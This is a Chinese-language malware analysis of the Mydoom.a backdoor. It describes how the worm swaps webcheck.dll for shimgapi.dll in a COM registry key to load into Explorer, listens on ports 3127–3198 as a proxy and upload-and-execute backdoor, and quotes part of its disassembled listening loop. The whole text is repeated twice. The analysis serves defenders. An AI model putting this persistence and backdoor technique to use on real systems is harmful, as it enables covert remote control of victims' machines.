tombkeeper#whitecell.org
Mydoom.a的后门是以dll形式存在的,通过修改注册表相应键值,将自己加载到资源管理器的进程空间中。
正常情况下,注册表应该是这个样子的:
HKEY_CLASSES_ROOT/CLSID/{E6FB5E20-DE35-11CF-9C87-00AA005127ED}/InProcServer32
<NO NAME> REG_EXPAND_SZ %SystemRoot%/System32/webcheck.dll
ThreadingModel REG_SZ Apartment
而Mydoom.a将该处的%SystemRoot%/System32/webcheck.dll替换成自己的shimgapi.dll。
默认情况下,shimgapi.dll后门监听3127端口,如果该端口被占用,则递增,但不大于3198。
该后门提供了两个功能:
1、作为端口转发代理
2、作为后门,接收程序上传并执行
相关代码:
.text:7E1A1C44 sub_7E1A1C44 proc near ; DATA XREF: start+19o
.text:7E1A1C44
.text:7E1A1C44 WSAData = WSAData ptr -190h
.text:7E1A1C44
.text:7E1A1C44 sub esp, 190h
.text:7E1A1C4A push esi
.text:7E1A1C4B push edi
.text:7E1A1C4C call sub_7E1A1A1F
.text:7E1A1C51 lea eax, [esp+198h+WSAData]
.text:7E1A1C55 push eax ; lpWSAData
.text:7E1A1C56 push 2 ; wVersionRequested
.text:7E1A1C58 call ds:WSAStartup
.text:7E1A1C5E call Address
.text:7E1A1C63 mov edi, ds:Sleep
.text:7E1A1C69 mov esi, 0C37h ; 监听3127端口
.text:7E1A1C6E
.text:7E1A1C6E loc_7E1A1C6E: ; CODE XREF: sub_7E1A1C44+50j
.text:7E1A1C6E push 3
.text:7E1A1C70 push esi
.text:7E1A1C71 call sub_7E1A1B52 ; bind子程序
.text:7E1A1C76 pop ecx
.text:7E1A1C77 pop ecx
.text:7E1A1C78 push 400h ; dwMilliseconds
.text:7E1A1C7D call edi ; Sleep
.text:7E1A1C7F cmp esi, 0C7Eh ; 端口不大于3198
.text:7E1A1C85 jle short loc_7E1A1C93
.text:7E1A1C87 push 800h ; dwMilliseconds
.text:7E1A1C8C call edi ; Sleep
.text:7E1A1C8E mov esi, 0C37h
.text:7E1A1C93
.text:7E1A1C93 loc_7E1A1C93: ; CODE XREF: sub_7E1A1C44+41j
.text:7E1A1C93
Mydoom.a的后门是以dll形式存在的,通过修改注册表相应键值,将自己加载到资源管理器的进程空间中。
正常情况下,注册表应该是这个样子的:
HKEY_CLASSES_ROOT/CLSID/{E6FB5E20-DE35-11CF-9C87-00AA005127ED}/InProcServer32
<NO NAME> REG_EXPAND_SZ %SystemRoot%/System32/webcheck.dll
ThreadingModel REG_SZ Apartment
而Mydoom.a将该处的%SystemRoot%/System32/webcheck.dll替换成自己的shimgapi.dll。
默认情况下,shimgapi.dll后门监听3127端口,如果该端口被占用,则递增,但不大于3198。
该后门提供了两个功能:
1、作为端口转发代理
2、作为后门,接收程序上传并执行
相关代码:
.text:7E1A1C44 sub_7E1A1C44 proc near ; DATA XREF: start+19o
.text:7E1A1C44
.text:7E1A1C44 WSAData = WSAData ptr -190h
.text:7E1A1C44
.text:7E1A1C44 sub esp, 190h
.text:7E1A1C4A push esi
.text:7E1A1C4B push edi
.text:7E1A1C4C call sub_7E1A1A1F
.text:7E1A1C51 lea eax, [esp+198h+WSAData]
.text:7E1A1C55 push eax ; lpWSAData
.text:7E1A1C56 push 2 ; wVersionRequested
.text:7E1A1C58 call ds:WSAStartup
.text:7E1A1C5E call Address
.text:7E1A1C63 mov edi, ds:Sleep
.text:7E1A1C69 mov esi, 0C37h ; 监听3127端口
.text:7E1A1C6E
.text:7E1A1C6E loc_7E1A1C6E: ; CODE XREF: sub_7E1A1C44+50j
.text:7E1A1C6E push 3
.text:7E1A1C70 push esi
.text:7E1A1C71 call sub_7E1A1B52 ; bind子程序
.text:7E1A1C76 pop ecx
.text:7E1A1C77 pop ecx
.text:7E1A1C78 push 400h ; dwMilliseconds
.text:7E1A1C7D call edi ; Sleep
.text:7E1A1C7F cmp esi, 0C7Eh ; 端口不大于3198
.text:7E1A1C85 jle short loc_7E1A1C93
.text:7E1A1C87 push 800h ; dwMilliseconds
.text:7E1A1C8C call edi ; Sleep
.text:7E1A1C8E mov esi, 0C37h
.text:7E1A1C93
.text:7E1A1C93 loc_7E1A1C93: ; CODE XREF: sub_7E1A1C44+41j
.text:7E1A1C93